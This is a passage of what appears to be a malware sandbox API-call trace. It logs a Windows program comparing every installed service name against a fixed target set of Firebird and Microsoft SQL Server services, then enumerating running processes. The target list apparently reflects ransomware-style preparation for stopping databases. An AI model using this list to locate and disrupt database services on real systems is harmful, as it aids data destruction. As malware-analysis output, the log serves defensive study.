	[0070.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0070.912] lstrlenW (lpString="CryptSvc") returned 8
	[0070.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0070.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0070.912] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0070.912] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0070.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0070.912] lstrlenW (lpString="DcomLaunch") returned 10
	[0070.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0070.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0070.912] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0070.912] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0070.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0070.912] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0070.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0070.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0070.912] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0070.912] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0070.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0070.912] lstrlenW (lpString="Dhcp") returned 4
	[0070.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0070.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0070.913] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0070.913] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0070.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0070.913] lstrlenW (lpString="Dnscache") returned 8
	[0070.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0070.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0070.913] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0070.913] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0070.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0070.913] lstrlenW (lpString="DoSvc") returned 5
	[0070.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0070.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0070.913] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0070.913] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0070.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0070.913] lstrlenW (lpString="DPS") returned 3
	[0070.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0070.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0070.913] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0070.913] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0070.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0070.913] lstrlenW (lpString="DusmSvc") returned 7
	[0070.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0070.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0070.913] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0070.913] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0070.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0070.913] lstrlenW (lpString="EventLog") returned 8
	[0070.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0070.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0070.914] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0070.914] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0070.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0070.914] lstrlenW (lpString="EventSystem") returned 11
	[0070.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0070.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0070.914] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0070.914] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0070.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0070.914] lstrlenW (lpString="FontCache") returned 9
	[0070.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0070.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0070.914] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0070.914] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0070.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0070.914] lstrlenW (lpString="gpsvc") returned 5
	[0070.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0070.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0070.914] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0070.914] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0070.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0070.914] lstrlenW (lpString="iphlpsvc") returned 8
	[0070.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0070.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0070.914] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0070.914] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0070.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0070.914] lstrlenW (lpString="KeyIso") returned 6
	[0070.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0070.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0070.914] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0070.915] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0070.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0070.915] lstrlenW (lpString="LanmanServer") returned 12
	[0070.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0070.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0070.915] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0070.915] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0070.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0070.915] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0070.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0070.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0070.915] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0070.915] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0070.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0070.915] lstrlenW (lpString="lfsvc") returned 5
	[0070.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0070.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0070.915] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0070.915] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0070.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0070.915] lstrlenW (lpString="lmhosts") returned 7
	[0070.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0070.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0070.915] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0070.915] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0070.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0070.915] lstrlenW (lpString="LSM") returned 3
	[0070.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0070.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0070.915] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0070.915] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0070.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0070.916] lstrlenW (lpString="MapsBroker") returned 10
	[0070.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0070.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0070.916] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0070.916] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0070.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0070.916] lstrlenW (lpString="MpsSvc") returned 6
	[0070.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0070.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0070.916] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0070.916] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0070.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0070.916] lstrlenW (lpString="NcbService") returned 10
	[0070.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0070.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0070.916] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0070.916] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0070.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0070.916] lstrlenW (lpString="netprofm") returned 8
	[0070.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0070.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0070.916] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0070.916] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0070.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0070.916] lstrlenW (lpString="NgcSvc") returned 6
	[0070.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0070.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0070.916] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0070.916] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0070.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0070.916] lstrlenW (lpString="NlaSvc") returned 6
	[0070.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0070.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0070.917] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0070.917] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0070.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0070.917] lstrlenW (lpString="nsi") returned 3
	[0070.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0070.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0070.917] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0070.917] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0070.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0070.917] lstrlenW (lpString="PcaSvc") returned 6
	[0070.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0070.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0070.917] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0070.917] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0070.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0070.917] lstrlenW (lpString="PlugPlay") returned 8
	[0070.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0070.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0070.917] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0070.917] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0070.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0070.917] lstrlenW (lpString="Power") returned 5
	[0070.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0070.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0070.917] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0070.917] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0070.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0070.917] lstrlenW (lpString="ProfSvc") returned 7
	[0070.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0070.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0070.918] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0070.918] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0070.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0070.918] lstrlenW (lpString="RpcEptMapper") returned 12
	[0070.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0070.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0070.918] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0070.918] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0070.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0070.918] lstrlenW (lpString="RpcSs") returned 5
	[0070.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0070.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0070.918] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0070.918] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0070.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0070.918] lstrlenW (lpString="SamSs") returned 5
	[0070.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0070.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0070.918] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0070.918] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0070.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0070.918] lstrlenW (lpString="Schedule") returned 8
	[0070.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0070.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0070.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0070.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0070.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0070.918] lstrlenW (lpString="SecurityHealthService") returned 21
	[0070.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0070.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0070.918] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0070.918] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0070.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0070.919] lstrlenW (lpString="SENS") returned 4
	[0070.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0070.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0070.919] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0070.919] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0070.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0070.919] lstrlenW (lpString="ShellHWDetection") returned 16
	[0070.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0070.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0070.919] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0070.919] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0070.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0070.919] lstrlenW (lpString="Spooler") returned 7
	[0070.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0070.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0070.919] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0070.919] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0070.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0070.919] lstrlenW (lpString="StateRepository") returned 15
	[0070.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0070.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0070.919] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0070.919] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0070.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0070.919] lstrlenW (lpString="SysMain") returned 7
	[0070.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0070.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0070.919] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0070.919] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0070.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4314a18 | out: hHeap=0x4f0000) returned 1
	[0070.920] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384
	[0070.925] Process32FirstW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0071.058] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0071.059] lstrlenW (lpString="System") returned 6
	[0071.059] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0071.060] lstrlenW (lpString="smss.exe") returned 8
	[0071.060] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0071.060] lstrlenW (lpString="csrss.exe") returned 9
	[0071.060] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0071.061] lstrlenW (lpString="wininit.exe") returned 11
	[0071.061] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0071.061] lstrlenW (lpString="csrss.exe") returned 9
	[0071.061] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0071.062] lstrlenW (lpString="winlogon.exe") returned 12
	[0071.062] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0071.062] lstrlenW (lpString="services.exe") returned 12
	[0071.062] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0071.063] lstrlenW (lpString="lsass.exe") returned 9
	[0071.063] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.064] lstrlenW (lpString="svchost.exe") returned 11
	[0071.064] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0071.064] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0071.064] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0071.065] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0071.065] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.065] lstrlenW (lpString="svchost.exe") returned 11
	[0071.065] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0071.066] lstrlenW (lpString="dwm.exe") returned 7
	[0071.066] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.067] lstrlenW (lpString="svchost.exe") returned 11
	[0071.067] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.067] lstrlenW (lpString="svchost.exe") returned 11
	[0071.067] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.068] lstrlenW (lpString="svchost.exe") returned 11
	[0071.068] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.068] lstrlenW (lpString="svchost.exe") returned 11
	[0071.068] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.069] lstrlenW (lpString="svchost.exe") returned 11
